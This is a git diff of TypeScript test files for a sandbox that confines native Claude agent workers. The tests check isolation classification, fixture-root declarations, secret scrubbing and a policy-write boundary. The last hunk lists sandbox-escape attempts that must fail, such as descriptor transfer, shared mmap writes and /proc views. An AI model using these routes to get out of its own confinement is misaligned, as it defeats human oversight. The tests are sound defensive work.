expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",script,runtime,"fixture"]),"PINNED_HOST_PROBE_NATIVE_TARGET_STAYS_FILTERED").toBe(true); - expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",script,process.execPath,"fixture","extra"]),"PINNED_HOST_PROBE_EXACT_SHAPE_REQUIRED").toBe(true); -}); - -test("recognized product shell table discovers all positional product wrappers",()=>{ - const discovered=new Set(); - for(const file of new Bun.Glob("packages/*/src/**/*.ts").scanSync({cwd:join(import.meta.dir,"..")})){ - const source=ts.createSourceFile(file,readFileSync(join(import.meta.dir,"..",file),"utf8"),ts.ScriptTarget.Latest,true); - function visit(node:ts.Node):void { - if(ts.isArrayLiteralExpression(node)){ - const words=node.elements.map(item=>ts.isStringLiteral(item)||ts.isNoSubstitutionTemplateLiteral(item)?item.text:undefined); - for(let i=0;irow.script).sort()); - for(const row of nativeProductShellWrappers){ - const tail=row.kind==="args"?[row.marker,"/bin/true"]:row.kind==="status"?[row.marker,"/tmp/status","/tmp/gate","/bin/true"]:row.kind==="probe"?[process.execPath,"fixture"]:["/bin/true","fixture"]; - expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",row.script,...tail]),"PINNED_PRODUCT_WRAPPER_NON_NATIVE "+row.name).toBe(false); - const nativeTail=row.kind==="args"?[row.marker,runtime]:row.kind==="status"?[row.marker,"/tmp/status","/tmp/gate",runtime]:row.kind==="probe"?[runtime,"fixture"]:[runtime,"fixture"]; - expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",row.script,...nativeTail]),"PINNED_PRODUCT_WRAPPER_NATIVE "+row.name).toBe(true); - } - expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",nativeProductShellWrappers.find(row=>row.name==="host-probe")!.script+" ",process.execPath,"fixture"]),"MODIFIED_HOST_PROBE_STAYS_UNKNOWN").toBe(true); -}); - -test("tripwire preserves the original private-index ready gate and CLI arguments",async()=>{ - const file="packages/ui-server/tests/private-index.test.ts",source=ts.createSourceFile(file,readFileSync(join(import.meta.dir,"..",file),"utf8"),ts.ScriptTarget.Latest,true); - let body:string|undefined; - const visit=(node:ts.Node):void=>{ - if(ts.isArrayLiteralExpression(node)){ - const script=node.elements[2]; - if(script&&ts.isTemplateExpression(script)&&script.head.text.includes("ready")){ - expect(script.templateSpans.map(span=>span.expression.getText(source)),"PRIVATE_INDEX_SENTINEL_IS_THE_ONLY_SUBSTITUTION").toEqual(["SENTINEL"]); - body=script.head.text+script.templateSpans.map(span=>"Zakynthosmarker"+span.literal.text).join(""); - } - }ts.forEachChild(node,visit); - };visit(source);expect(body,"PRIVATE_INDEX_RETAINS_ORIGINAL_INLINE_SHELL").toBeDefined(); - const root=mkdtempSync("/tmp/odysseus-private-index-command-"); - try{ - const payload=join(root,"argv.py");writeFileSync(payload,"import sys,json;print(json.dumps(sys.argv[1:]))\n"); - const command=["/bin/sh","-c",body!,"sh","/usr/bin/python3",payload]; - const child=Bun.spawn(command,{stdin:"pipe",stdout:"pipe",stderr:"pipe"}),reader=child.stdout.getReader(); - const ready=await reader.read();expect(new TextDecoder().decode(ready.value),"PRIVATE_INDEX_READY_GATE_UNCHANGED").toBe("ready\n"); - child.stdin.write("go\n");child.stdin.end();let output="";for(;;){const part=await reader.read();if(part.done)break;output+=new TextDecoder().decode(part.value);}reader.releaseLock(); - const [exit,err]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(exit,err).toBe(0);expect(JSON.parse(output),"PRIVATE_INDEX_CLI_ARGUMENTS_UNCHANGED").toEqual(["search","Zakynthosmarker","--json","--limit","50"]); - }finally{rmSync(root,{recursive:true,force:true});} -}); - - -test("tripwire preserves the original private-index live cache shell",async()=>{ - const file="packages/ui-server/tests/private-index.test.ts",source=ts.createSourceFile(file,readFileSync(join(import.meta.dir,"..",file),"utf8"),ts.ScriptTarget.Latest,true); - let script:string|undefined,declared=false; - function visit(node:ts.Node):void { - if(ts.isVariableDeclaration(node)&&node.name.getText(source)==="CACHE_SHELL"&&node.initializer&&ts.isTemplateExpression(node.initializer)){ - const body=node.initializer; - expect(body.templateSpans.map(span=>span.expression.getText(source)),"CACHE_PROBE_ONLY_SUBSTITUTES_ITS_SENTINEL").toEqual(["SENTINEL"]); - script=body.head.text+body.templateSpans.map(span=>"Zakynthosmarker"+span.literal.text).join(""); - } - if(ts.isCallExpression(node)&&node.expression.getText(source)==="launchAgentWorker"){ - const options=node.arguments[0];if(options&&ts.isObjectLiteralExpression(options))for(const property of options.properties){ - if(ts.isPropertyAssignment(property)&&property.name.getText(source)==="command"&&property.initializer.getText(source).includes("CACHE_SHELL")) - declared=property.initializer.getText(source)==='["/bin/sh", "-c", CACHE_SHELL]'; - } - } - ts.forEachChild(node,visit); - }visit(source); - expect(declared,"LIVE_CACHE_PROBE_RETAINS_ITS_ORIGINAL_INLINE_SHELL").toBe(true); - expect(script,"LIVE_CACHE_PROBE_USES_REAL_SCRIPT_BYTES").toBeDefined(); - expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",script!]),"INLINE_CACHE_PROBE_IS_UNCLASSIFIABLE").toBe(true); - const root=mkdtempSync("/tmp/odysseus-cache-classification-"); - try{ - mkdirSync(join(root,".brain-cache"));for(const name of [".context-cache.jsonl",".asset-cache.jsonl"])symlinkSync("/dev/null",join(root,name)); - const command=["/bin/sh","-c",script!]; - const child=Bun.spawn(command,{cwd:root,env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); - const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(exit,err).toBe(0);expect(out,"CACHE_PROBE_OUTPUT_UNCHANGED").toBe(".context-cache.jsonl=masked\n0\n.asset-cache.jsonl=masked\n0\ndir=0\n"); - }finally{rmSync(root,{recursive:true,force:true});} -}); - -test("product namespace table discovers the real unshare keeper script and options",async()=>{ - const {nativeProductNamespaceWrappers}=await import("../scripts/test-native-guard"); - const found:{script:string;prefix:string[]}[]=[]; - for(const file of new Bun.Glob("packages/*/src/**/*.ts").scanSync({cwd:join(import.meta.dir,"..")})){ - const source=ts.createSourceFile(file,readFileSync(join(import.meta.dir,"..",file),"utf8"),ts.ScriptTarget.Latest,true),literals=new Map(); - function constants(node:ts.Node):void{if(ts.isVariableDeclaration(node)&&ts.isIdentifier(node.name)&&node.initializer&&(ts.isStringLiteral(node.initializer)||ts.isNoSubstitutionTemplateLiteral(node.initializer)))literals.set(node.name.text,node.initializer.text);ts.forEachChild(node,constants);}constants(source); - function visit(node:ts.Node):void{ - if(ts.isArrayLiteralExpression(node)){ - const words=node.elements.map(item=>ts.isStringLiteral(item)||ts.isNoSubstitutionTemplateLiteral(item)?item.text:ts.isIdentifier(item)?literals.get(item.text):undefined); - const shell=words.findIndex((word,i)=>word==="/bin/sh"&&words[i+1]==="-c"); - if(shell>0&&words.slice(0,shell).includes("--fork")&&words.slice(0,shell).includes("--map-root-user")){ - expect(words[shell+2],"NAMESPACE_SCRIPT_LITERAL_DISCOVERABLE "+file).toBeDefined();found.push({script:words[shell+2]!,prefix:words.slice(1,shell) as string[]}); - } - }ts.forEachChild(node,visit); - }visit(source); - } - expect(found,"EVERY_PRODUCT_UNSHARE_KEEPER_HAS_EXACT_TABLE_ROW").toEqual(nativeProductNamespaceWrappers.map(row=>({script:row.script,prefix:[...row.prefix]}))); -}); - -test("product non-bwrap proc observers remain positively non-native and unchanged",async()=>{ - const {nativeWorkerClassification}=await import("../scripts/test-native-guard"); - const programs=[['native-checkpoint-reader.ts','STAGE_AUTHORITY_CLIENT',false],['native-checkpoint-reader.ts','NATIVE_CHECKPOINT_READER_PROGRAM',false],['native-checkpoint-reader.ts','NATIVE_CHECKPOINT_CLIENT_PROGRAM',false],['worker-identity-program.ts','WORKER_IDENTITY_CLIENT',false],['native-brain-stage.ts','STAGE_PROGRAM',true]] as const; - for(const [file,name,unshare] of programs){ - const source=ts.createSourceFile(file,readFileSync(join(import.meta.dir,"../packages/ui-sdk/src/server",file),"utf8"),ts.ScriptTarget.Latest,true);let program:string|undefined; - const visit=(node:ts.Node):void=>{if(ts.isVariableDeclaration(node)&&node.name.getText(source)===name&&node.initializer&&ts.isTaggedTemplateExpression(node.initializer)&&ts.isNoSubstitutionTemplateLiteral(node.initializer.template))program=node.initializer.template.rawText;ts.forEachChild(node,visit);};visit(source);expect(program,"REAL_PROC_OBSERVER_PROGRAM "+name).toBeDefined(); - const argv=[...(unshare?["/usr/bin/unshare","--mount"]:[]),"/usr/bin/python3","-I","-S","-c",program!,"/tmp/odysseus-control","fixture-token"]; - expect(nativeWorkerClassification(argv,{env:{},cwd:"/"}),"PROC_OBSERVER_STAYS_POSITIVELY_NON_NATIVE "+name).toBe("non-native"); - const env={BRAIN_WORKER_LAUNCH:JSON.stringify({command:argv,argv,env:{}})};expect(nativeWorkerBoundary(env).env,"NON_NATIVE_PROC_OBSERVER_METADATA_UNCHANGED "+name).toBe(env); - } -}); diff --git a/tests/native-worker-fixture-inventory.test.ts b/tests/native-worker-fixture-inventory.test.ts deleted file mode 100644 index 1ccda5d828..0000000000 --- a/tests/native-worker-fixture-inventory.test.ts +++ /dev/null @@ -1,148 +0,0 @@ -/** Composition checks only; positive installed-runtime proof stays in hosted CI. */ -import { expect, test } from "bun:test"; -import ts from "typescript"; -import { readFileSync, mkdtempSync, mkdirSync, writeFileSync, rmSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -const root=join(import.meta.dir,".."); -const read=(file:string)=>readFileSync(join(root,file),"utf8"); -for(const file of ["packages/ui-backend-claude/tests/follow-up-delivery.test.ts","packages/ui-backend-claude/tests/subscription-billing.test.ts","packages/ui-server/tests/bundled-claude.test.ts"])test(`read-only native fixture declares an ephemeral sandbox: ${file}`,()=>{ - const source=ts.createSourceFile(file,read(file),ts.ScriptTarget.Latest,true);let calls=0; - function visit(node:ts.Node){ - if(ts.isCallExpression(node)&&ts.isPropertyAccessExpression(node.expression)&&node.expression.name.text==="startTurn"){ - const request=node.arguments[0];expect(request&&ts.isObjectLiteralExpression(request),"literal native request").toBe(true); - if(request&&ts.isObjectLiteralExpression(request)){ - const sandbox=request.properties.find(prop=>ts.isPropertyAssignment(prop)&&prop.name.getText(source)==="workerSandbox") as ts.PropertyAssignment|undefined; - expect(sandbox,"explicit native sandbox").toBeDefined();expect(sandbox?.initializer.getText(source)).toContain("areas: []");calls++; - } - } - ts.forEachChild(node,visit); - }visit(source);expect(calls).toBeGreaterThan(0);expect(read(file)).toContain("nativeFixtureDirectory"); -}); -for(const name of ["provider-history-probe","provider-history-attachment-probe","provider-history-apify-probe","transcript-prefix-probe","stable-roster-probe","shell-startup-probe","session-prompt-probe","autonomous-prompt-probe","interactive-git-prompt-probe"])test(`copied native fixture declares its input root: ${name}`,()=>{ - const file=`packages/ui-backend-claude/tests/fixtures/${name}.ts`,source=ts.createSourceFile(file,read(file),ts.ScriptTarget.Latest,true);let declared=0; - function visit(node:ts.Node){if(ts.isCallExpression(node)&&node.expression.getText(source)==="nativeScriptedService"){ - expect(node.arguments[1]?.getText(source),"fixture root declaration").toContain("fixtureRoots");declared++; - }ts.forEachChild(node,visit);}visit(source);expect(declared).toBeGreaterThan(0); -}); -for(const name of ["autonomous-dispatch","autonomous-app","autonomous-runtime","autonomous-containment","claude-worker","policy-boundary"])test(`app native fixture declares its whole private temporary tree: ${name}`,()=>{ - const file=`tests/fixtures/${name}-probe.ts`,source=ts.createSourceFile(file,read(file),ts.ScriptTarget.Latest,true),declarations:string[][]=[]; - function visit(node:ts.Node){ - if(ts.isCallExpression(node)&&node.expression.getText(source)==="nativeScriptedService"){ - const options=node.arguments[1];expect(options&&ts.isObjectLiteralExpression(options),"EXPLICIT_SCRIPTED_FIXTURE_OPTIONS").toBe(true); - if(options&&ts.isObjectLiteralExpression(options)){ - const roots=options.properties.find(prop=>ts.isPropertyAssignment(prop)&&prop.name.getText(source)==="fixtureRoots") as ts.PropertyAssignment|undefined; - expect(roots&&ts.isArrayLiteralExpression(roots.initializer),"EXPLICIT_SCRIPTED_FIXTURE_ROOTS").toBe(true); - if(roots&&ts.isArrayLiteralExpression(roots.initializer))declarations.push(roots.initializer.elements.map(node=>node.getText(source))); - } - }ts.forEachChild(node,visit); - }visit(source); - expect(declarations,"REQUIRED_SCRIPTED_FIXTURE_ROOTS").toEqual([["autonomous-runtime","autonomous-containment","autonomous-app"].includes(name)?["root","brainPath"]:["root"]]); -}); - -// The enforcement entry re-enters the RTK view before constructing its worker; -// inspecting only tests/ and the shared worker helper misses its HOME/PATH roots. -test("enforcement RTK re-entry declares every temporary worker input",()=>{ - const file="scripts/measure-claude-enforcement.ts",text=read(file),source=ts.createSourceFile(file,text,ts.ScriptTarget.Latest,true); - let created=0; - function visit(node:ts.Node){ - if(ts.isCallExpression(node)&&node.expression.getText(source)==="nativeFixtureDirectory"){ - expect(node.arguments[0]?.getText(source)).toBe('"enforcement-probe-"');created++; - } - ts.forEachChild(node,visit); - }visit(source); - expect(created,"ENFORCEMENT_ROOT_REGISTERED").toBe(1); - expect(text).not.toContain("mkdtempSync"); - expect(text).toContain("createMeasurementWorkerFixture(cwd, home)"); - expect(text.indexOf("await enterMeasurementRtkView()")).toBeLessThan(text.indexOf('nativeFixtureDirectory("enforcement-probe-")')); - const rtk=read("scripts/measurement-rtk-fixture.ts"); - expect(rtk).toContain('process.argv.slice(1), "--native-rtk-view"'); - expect(rtk).toContain('"--bind", "/tmp", "/tmp"'); -}); - -for(const [file,source] of fixtureSources(root))if(namespaceLaunches(source).length)test(`compiler-free native namespaces carry outer policy: ${file}`,()=>{ - const text=source.text; - const namespaces=[...text.matchAll(/\.\.\.nativeNamespaceEnvironment\(\)/g)].length; - expect(namespaces).toBeGreaterThan(0); - expect([...text.matchAll(/const policy = nativeNamespacePolicy\(\)/g)].length,"OUTER_POLICY_PREPARED").toBe(namespaces); - expect([...text.matchAll(/\.\.\.policy\.mounts/g)].length,"POLICY_READ_ONLY_MOUNT").toBe(namespaces); - expect([...text.matchAll(/\.\.\.policy\.args/g)].length,"POLICY_DIGEST_ARGUMENT").toBe(namespaces); - // Every policy bind follows the fixture masks, including /tmp and /etc. - expect([...text.matchAll(/"--dev", "\/dev", \.\.\.policy\.mounts/g)].length,"POLICY_AFTER_MASKS").toBe(namespaces); -}); - -// The list comes from SDK imports/calls, dynamic SDK bindings and backend -// constructors, including scripts and experiments. A new source enters it -// without updating a filename list. -import {fixtureSources,nativeSdkLauncher,namespaceLaunches} from "./helpers/native-launcher-inventory"; -const discoveredSources=fixtureSources(root); -for(const [file,source] of discoveredSources)if(nativeSdkLauncher(source))test(`discovered native launcher has explicit fixture provenance: ${file}`,()=>{ - const text=source.text; - // Synthetic stream fixtures explicitly inject their SDK/worker seam. - if(/mockWorkerHostForSdkStream\(\)|mock\.module|makeFakeBackend\(|installNativeHostFixtures\(/.test(text))return; - // SDK protocol tests select a fixture executable instead of installed Claude. - if(text.includes("pathToClaudeCodeExecutable")&&text.includes("writeFileSync"))return; - if(text.includes('command: process.execPath, args: ["-e",'))return; - // History-only API tests do not call query; their startTurn controls refuse - // before a runtime is selected. Constructor discovery still inventories them. - if(!/\bquery\s*\(/.test(text)&&/getSessionMessages|listSessions/.test(text))return; - if(/createMeasurementWorkerFixture|createWorkerSpawn|createClaudeSdkTurn/.test(text)){ - expect(/nativeFixtureDirectory|fixtureRoots/.test(text),`NATIVE_WORKER_INPUT_PROVENANCE ${file}`).toBe(true); - }else{ - expect(/nativeScriptedService|nativeScriptedQuery|measurement-entry-preload|scriptedModel\(|enterRealProviderMeasurement\(/.test(text)||text.includes("mock.module"),`NATIVE_SCRIPTED_AUTHORITY ${file}`).toBe(true); - } - -}); - -test("launcher discovery finds new aliased and dynamic SDK callers and default backends",()=>{ - for(const text of [ - 'import {query as run} from "@anthropic-ai/claude-agent-sdk"; run({});', - 'const {query}=await import(entry) as typeof import("@anthropic-ai/claude-agent-sdk"); query({});', - 'const backend=createClaudeBackend({brainPath:root}); createApp({backend});', - 'const backend=createClaudeBackend({brainPath:root}); backend.startTurn({});', - 'import {query} from "@anthropic-ai/claude-agent-sdk"; createClaudeBackend({queryFn:query});', - 'import {query} from "@anthropic-ai/claude-agent-sdk"; function run(fn:typeof query=query){}', - 'import {prewarm} from "@anthropic-ai/claude-agent-sdk"; const warm=prewarm;', - 'const fake=createClaudeBackend({queryFn:fakeQuery}); const real=createClaudeBackend({brainPath:root});', - 'import {createClaudeBackend as make} from "../backend"; const backend=make({brainPath:root}); backend.startTurn({});', - 'import * as sdk from "@anthropic-ai/claude-agent-sdk"; sdk.query({});', - 'const sdk=await import("@anthropic-ai/claude-agent-sdk"); sdk["query"]({});', - ])expect(nativeSdkLauncher(ts.createSourceFile("new-fixture.ts",text,ts.ScriptTarget.Latest,true))).toBe(true); - for(const text of ['import type {query} from "@anthropic-ai/claude-agent-sdk";', - 'import {query} from "@anthropic-ai/claude-agent-sdk"; type Q=typeof query;', - 'const backend=createClaudeBackend({queryFn:fakeQuery});'])expect(nativeSdkLauncher(ts.createSourceFile("synthetic.ts",text,ts.ScriptTarget.Latest,true))).toBe(false); -}); - - -test("inventory discovers a new launcher file without a filename registration",()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-launcher-inventory-")); - try{ - const file="packages/ship/tests/new-launcher.test.ts"; - mkdirSync(join(scratch,"packages/ship/tests"),{recursive:true}); - writeFileSync(join(scratch,file),'import {query as run} from "@anthropic-ai/claude-agent-sdk"; run({});'); - const sources=fixtureSources(scratch); - expect([...sources.keys()],"NEW_LAUNCHER_DISCOVERED").toContain(file); - expect(nativeSdkLauncher(sources.get(file)!)).toBe(true); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("hosted file-tool startup watchdog scales with repetition load",()=>{ - const source=read("packages/ui-backend-claude/tests/native-hosted-runtime.test.ts"); - expect(source).toContain("setTimeout(() => controller.abort(), watchdogMs(20_000))"); - expect(source).toContain("workerStarted:");expect(source).toContain("observeNativeWorkerStartup"); -}); - -test("native namespace subprocess watchdogs scale with CPU-load repetition",()=>{ - let count=0; - for(const [file,source] of fixtureSources(root))for(const argv of namespaceLaunches(source)){ - const call=argv.parent; - if(!ts.isCallExpression(call))continue; - const options=call.arguments[1]; - expect(options&&ts.isObjectLiteralExpression(options),`NAMESPACE_SPAWN_OPTIONS ${file}`).toBe(true); - if(!options||!ts.isObjectLiteralExpression(options))continue; - const timeout=options.properties.find(prop=>ts.isPropertyAssignment(prop)&&prop.name.getText(source)==="timeout"); - expect(timeout&&ts.isPropertyAssignment(timeout)&&ts.isCallExpression(timeout.initializer)&&timeout.initializer.expression.getText(source)==="watchdogMs",`NAMESPACE_SUBPROCESS_WATCHDOG ${file}`).toBe(true); - count++; - } - expect(count).toBeGreaterThanOrEqual(8); -}); diff --git a/tests/native-worker-startup-diagnostics.test.ts b/tests/native-worker-startup-diagnostics.test.ts deleted file mode 100644 index 9f96b2b169..0000000000 --- a/tests/native-worker-startup-diagnostics.test.ts +++ /dev/null @@ -1,40 +0,0 @@ -import { expect, spyOn, test } from "bun:test"; -import { PassThrough } from "node:stream"; -import { observeNativeWorkerStartup, STARTUP_STDERR_BYTES } from "../packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics"; - -async function captured(run:(records:Record[])=>Promise) { - const records:Record[]=[]; - const log=spyOn(console,"error").mockImplementation(value=>records.push(JSON.parse(String(value)))); - try{await run(records);}finally{log.mockRestore();} -} - -test("native fixture startup diagnostics use receipt scrubbers across chunks and record exit signal",async()=>{ - await captured(async records=>{ - const stderr=new PassThrough(),secret="odysseus-private-key",token="sk-ant-"+"k".repeat(48); - observeNativeWorkerStartup({stderr,exited:Promise.resolve(143)},{exitCode:143,signalCode:"SIGTERM"},[secret]); - stderr.write('startup failure\nArgs: ["--prompt", "SIRENS_PRIVATE_ARGUMENT"]\nEnvironment: SIRENS_PRIVATE_ENVIRONMENT\napi_key='+secret.slice(0,8)); - stderr.end(secret.slice(8)+"\nAuthorization: Bearer "+token+"\npassword=voyage-password\n/tmp/odysseus-private/result.md\n"); - await new Promise(resolve=>setImmediate(resolve)); - const record=records.find(row=>row.kind==="native-fixture-startup-stderr")!; - expect(record.text).toContain("startup failure"); - for(const value of [secret,token,"voyage-password","/tmp/odysseus-private","SIRENS_PRIVATE_ARGUMENT","SIRENS_PRIVATE_ENVIRONMENT"])expect(record.text).not.toContain(value); - expect(record.text).toContain("[redacted"); - expect(record.truncated).toBe(false); - expect(records.find(row=>row.kind==="native-fixture-worker-exit")).toEqual({kind:"native-fixture-worker-exit",exitCode:143,signal:"SIGTERM",signalScope:"worker-bootstrap",bootstrapExitCode:143}); - }); -}); - -test("native fixture retains only bounded initial stderr and scrubs rejected exits",async()=>{ - await captured(async records=>{ - const stderr=new PassThrough(),secret="odysseus-rejected-secret"; - observeNativeWorkerStartup({stderr,exited:Promise.reject(Error("secret="+secret))},{exitCode:1,signalCode:null},[secret]); - stderr.write("initial startup failure\n");stderr.end("x".repeat(STARTUP_STDERR_BYTES*2)+"\nlate detail\n"); - await new Promise(resolve=>setImmediate(resolve)); - const record=records.find(row=>row.kind==="native-fixture-startup-stderr")!; - expect(record.retainedBytes).toBe(STARTUP_STDERR_BYTES); - expect(record.truncated).toBe(true); - expect(record.text).toBe("initial startup failure"); - expect(JSON.stringify(records)).not.toContain(secret); - expect(record.text).not.toContain("late detail"); - }); -}); diff --git a/tests/offline-runner.test.ts b/tests/offline-runner.test.ts new file mode 100644 index 0000000000..4b8e6d2249 --- /dev/null +++ b/tests/offline-runner.test.ts @@ -0,0 +1,72 @@ +import {expect,test} from "bun:test"; +import {readFileSync,writeSync,writeFileSync,mkdtempSync,rmSync} from "node:fs"; +import {join} from "node:path"; +import {captureNativeReceipts} from "../scripts/native-test-receipts"; +import {requireOfflineRunner} from "../scripts/offline-runner/qualification"; +import {watchdogMs} from "../scripts/test-deadlines"; + +test("qualified runner preserves a harmless interpreter, pipe bytes and EOF",async()=>{ + const view=requireOfflineRunner();expect(view.identity.uid).toBe(process.getuid!()); + const child=Bun.spawn(["/run/brain-test/entry","/usr/bin/python3","-I","-S","-c","import sys;sys.stdout.write(sys.stdin.read())"],{stdin:Buffer.from("Odysseus pipe\n"),stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,err).toBe(0);expect(out,"ORDINARY_INTERPRETER_PIPE_AND_EOF").toBe("Odysseus pipe\n"); +},watchdogMs(15000)); + +test("receipt framing retains completed lines and defers a partial concurrent record",async()=>{ + const capture=captureNativeReceipts();const token=JSON.parse(capture.env.BRAIN_NATIVE_RECEIPT!); + try{ + writeSync(token.fd,'{"kind":"bootstrap-exit","exitCode":0');expect(capture.readRecords()).toEqual([]); + writeSync(token.fd,'}\n');expect(capture.readRecords()).toEqual([{kind:"bootstrap-exit",exitCode:0}]); + const children=[0,1].map(writer=>Bun.spawn([process.execPath,"--no-env-file","-e",`import {writeSync} from "node:fs";for(let n=0;n<32;n++)writeSync(3,JSON.stringify({kind:"concurrent",writer:${writer},n})+String.fromCharCode(10));`],{stdio:["ignore","pipe","pipe",token.fd]})); + const results=await Promise.all(children.map(async child=>({code:await child.exited,err:await new Response(child.stderr).text()}))); + for(const result of results)expect(result.code,result.err).toBe(0); + const rows=capture.readRecords();expect(rows).toHaveLength(65);expect(rows.filter(row=>row.kind==="bootstrap-exit")).toEqual([{kind:"bootstrap-exit",exitCode:0}]); + expect(new Set(rows.filter(row=>row.kind==="concurrent").map(row=>`${row.writer}:${row.n}`)).size).toBe(64); + }finally{capture.dispose();} +},watchdogMs(15000)); + +test("an exit-time refusal remains framed after the owner sink closes",async()=>{ + const path=new URL("../scripts/native-test-receipts.ts",import.meta.url).pathname; + const child=Bun.spawn([process.execPath,"--no-env-file","-e",`import {nativeReceipt} from ${JSON.stringify(path)};nativeReceipt({kind:"owned",success:true});process.on("exit",()=>nativeReceipt({kind:"native-offline-invocation-failed",success:false}));`],{stdout:"pipe",stderr:"pipe"}); + const [code,text]=await Promise.all([child.exited,new Response(child.stderr).text()]); + const rows=text.split("\n").filter(line=>line.startsWith("{")).map(line=>JSON.parse(line)); + expect(code,"REFUSAL_ALWAYS_FAILS_LOCALLY").toBe(1);expect(rows.map(row=>row.kind),"OWNER_AND_EXIT_REFUSAL_BOTH_RETAINED").toEqual(["owned","native-offline-invocation-failed"]); +},watchdogMs(15000)); + +test("fixture env files remain explicit and distinct from invoking checkout state",async()=>{ + const folder=mkdtempSync("/tmp/odysseus-explicit-env-"); + try{ + const file=join(folder,"fixture.env");writeFileSync(file,"ODYSSEUS_EXPLICIT_FIXTURE=Ithaca\n"); + const child=Bun.spawn([process.execPath,`--env-file=${file}`,"-e",'if(process.env.ODYSSEUS_EXPLICIT_FIXTURE!=="Ithaca")throw Error("EXPLICIT_FIXTURE_ENV_REQUIRED");console.log("Ithaca");'],{stdout:"pipe",stderr:"pipe"}); + expect(await child.exited,await new Response(child.stderr).text()).toBe(0);expect(await new Response(child.stdout).text()).toBe("Ithaca\n"); + }finally{rmSync(folder,{recursive:true,force:true});} +}); + +test("offline policy has no stage roles, metadata channels or timing subtraction",()=>{ + const entry=readFileSync(new URL("../scripts/test-network-guard.ts",import.meta.url),"utf8"); + expect(entry).not.toMatch(/test-native-guard|native-stage-metadata|native-guard-interval|attestStage|readStage/); +}); + + +test("a fresh owned mount view is requalified instead of borrowing its parent record",async()=>{ + // This fixed interpreter probe needs no workspace output descriptor. + const lease=process.env.BRAIN_WORKSPACE_LEASE;delete process.env.BRAIN_WORKSPACE_LEASE; + let child:Bun.Subprocess<"ignore","pipe","pipe">; + try{child=Bun.spawn(["/usr/bin/unshare","--user","--map-current-user","--mount","--","/run/brain-test/entry","/usr/bin/python3","-I","-S","-c",'print("FRESH_OWNED_VIEW_REQUALIFIED")'],{stdin:"ignore",stdout:"pipe",stderr:"pipe"});} + finally{if(lease!==undefined)process.env.BRAIN_WORKSPACE_LEASE=lease;} + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,err).toBe(0);expect(out).toBe("FRESH_OWNED_VIEW_REQUALIFIED\n"); +},watchdogMs(15000)); + +test("one signal reaches an inherited-boundary interpreter exactly once",async()=>{ + const code='import signal,sys,time\ndef stop(*_):\n print("trapped",flush=True)\n time.sleep(.1)\n raise SystemExit(23)\nsignal.signal(signal.SIGTERM,stop)\nprint("ready",flush=True)\nwhile True:time.sleep(.01)'; + for(let n=0;n<50;n++){ + const child=Bun.spawn(["/run/brain-test/entry","/usr/bin/python3","-I","-S","-c",code],{stdin:"ignore",stdout:"pipe",stderr:"pipe"}); + const reader=(child.stdout as ReadableStream).getReader();const decoder=new TextDecoder();let out=""; + while(!out.includes("ready\n")){const next=await reader.read();if(next.done)throw Error("SIGNAL_FIXTURE_EXITED_BEFORE_READY");out+=decoder.decode(next.value);} + child.kill("SIGTERM"); + for(;;){const next=await reader.read();if(next.done)break;out+=decoder.decode(next.value);} + expect(await child.exited,await new Response(child.stderr).text()).toBe(23); + expect(out,"ONE_CALLER_SIGNAL_RUNS_ONE_TRAP").toBe("ready\ntrapped\n"); + } +},watchdogMs(30000)); diff --git a/tests/policy-write-boundary.test.ts b/tests/policy-write-boundary.test.ts index e7cf1bf896..823eeef471 100644 --- a/tests/policy-write-boundary.test.ts +++ b/tests/policy-write-boundary.test.ts @@ -114,31 +114,15 @@ for (const adapter of ["claude", "pi"] as const) describe(`${adapter} policy-wri // Cases 1–4 from inside the worker: inherited/pre-confinement descriptors, // policy-backed stdio, socket and /proc descriptor transfer, mappings, // /proc root/cwd views and the server/donor by host pid. - const nativeAttacks=attacks(r); - if(adapter==="pi")for(const attack of nativeAttacks)expect(attack.transferRefusal,"PI_RETAINS_REAL_DESCRIPTOR_TRANSFER_PROOF").toBeUndefined(); - const companions=adapter==="claude"?r.receipt.companionReports:[]; - if(adapter==="claude"){ - expect(companions,"PRODUCT_DESCRIPTOR_TRANSFER_COMPANION").toHaveLength(1); - expect(nativeAttacks[0].transferRefusal,"NATIVE_BROKER_DENIES_SCM_RIGHTS").toBe("EPERM"); - expect(nativeAttacks[0].transferReceived).toBe(0); - for(const companion of companions){ - expect(companion.fromGuardSpawn,"COMPANION_USES_ACTUAL_GUARD_SPAWN_RECORD").toBe(true); - expect(companion.planMatches,"ONLY_TERMINAL_COMMAND_AND_O1_MASK_BINDS_DIFFER").toBe(true); - expect(companion.attack.transferRefusal,"PRODUCT_COMPANION_HAS_NO_NATIVE_BROKER").toBeUndefined(); - expect(companion.attack.transferReceived,"PRODUCT_COMPANION_TRANSFERS_REAL_DESCRIPTOR").toBe(1); - } - } - for (const a of [...nativeAttacks,...companions.map((companion:any)=>companion.attack)]) { + for (const a of attacks(r)) { expect(a.wrote, "no descriptor, mapping or /proc route wrote policy").toEqual([]); expect(a.attempts.length).toBeGreaterThan(15); expect(a.serverVisible, "neither the server nor the donor is visible in the worker").toBe(false); - if(!a.transferRefusal){ - expect(a.transferReceived, "a descriptor really crossed the Unix socket").toBe(1); - expect(a.fdCandidates, "the transferred policy descriptor was found and tried").toBeGreaterThan(0); - } + expect(a.transferReceived, "a descriptor really crossed the Unix socket").toBe(1); + expect(a.fdCandidates, "the transferred policy descriptor was found and tried").toBeGreaterThan(0); const errors = Object.fromEntries(a.attempts.map((t: any) => [t.target, t.error])); expect(errors["mmap-shared-write"]).toBe("EACCES"); - if(!a.transferRefusal)expect(errors["socket-fd"]).toBe("EBADF"); + expect(errors["socket-fd"]).toBe("EBADF"); expect(errors["self-mem-mapping"]).toBeDefined(); 